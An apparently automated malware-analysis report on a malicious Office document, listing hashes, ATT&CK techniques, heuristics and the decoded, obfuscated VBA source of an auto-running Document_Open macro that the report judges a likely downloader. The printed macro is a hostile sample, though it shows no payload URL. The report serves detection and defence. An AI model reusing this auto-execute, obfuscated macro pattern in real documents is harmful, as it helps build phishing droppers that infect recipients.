Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47a508be0de51beb…

MALICIOUS

Office (OLE)

69.4 KB First seen: 2019-04-17
MD5: 3957cf1e75896aa7dd71fb7b6c4c075b SHA-1: ec0accb614644f3e3c74d495b18df870c83d2db0 SHA-256: 47a508be0de51beb42361a271eb50284c56a53c963f80909551ef444d8567d37
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing a VBA macro named 'Document_Open'. This macro is designed to execute automatically when the document is opened, indicating a malicious intent to run arbitrary code. The macro's code is heavily obfuscated with numerous variables and conditional statements, but its primary function appears to be the execution of a subroutine that likely downloads and executes a secondary payload. The presence of the 'Document_Open' macro and the obfuscated code strongly suggests a downloader or droppper functionality.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 71,045 bytes but its declared streams total only 36,254 bytes — 34,791 bytes (49%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1503 bytes
SHA-256: 1121ab8e6b83b50d6e749c0dc1087d63fbff63fd95040517eb0d8b5fea3e7e05
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VJuVDSDBMdjuRq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
   If WwPbF > NsIiH Then

Dim WdSzS()
AVLlf = XFvdS + fvYivl + RsXXSA + KjKqYR

End If
   If FGtkTF And zRkaZ Then

Dim Mjnih()
AOdwt = nzrvEE + HlqRp
RjNsF = rapwwX + rGafc

End If
   If MKnMiw Or jdtKB Then

Dim BzwIpw()
jHlYr = lliMi + YBlIod
fTkUr = YQKmXc + PsPFZ + UdNhw + PYcjQ

End If
   If cnvsk Or SHXjzS Then

Dim zoZtzE()
fQEzY = zZwWz + Tcpzdn + zlGZz + mVluL

End If
   If tvIMr And EXkIa Then

Dim mXOTVP()
zZAdat = kIizh + iOrPA
SmZjCY = NzfLF + jilrtR

End If
   If fFMENf < SQWSw Then

Dim PinVX()
CLwBv = vMthF + JpLlb + osHSI + ciZlc
nKFwwn = EQjRSf + KIIJLd + mjiDj + ZZRzJ

End If
   If fYRmv Xor ucSoaw Then

Dim jYWjm()
jZImSm = EcXwku + NzjwGU + fmBpm + njqCvu
IkWmwz = iREWE + DzmrXa + MEmGw + DwXlUA

End If
pGdNiCidOJfqlc (ZizEF + TVzuP + uzpHONp + AoHOvTmv + wDKKEl + MTSwznIis + poLPU + QforOMDJhR + ibmiPvCUqY + nLKuEG + dauzGLlN + lFfquwf)
   If nlzsn < SXuhk Then

Dim HOqOwD()
VszOSo = KLHAM + fVEYII

End If
   If fsYCit <> 1 Then

Dim qAnhmB()
rKGAJG = msJkt + iftmVo

End If
   If YEzQqT Xor KKjjWO Then

Dim QTLzY()
HbqEb = aYHcn + fNkijK
jJAaj = IXhOXj + GAUzN

End If
End Sub

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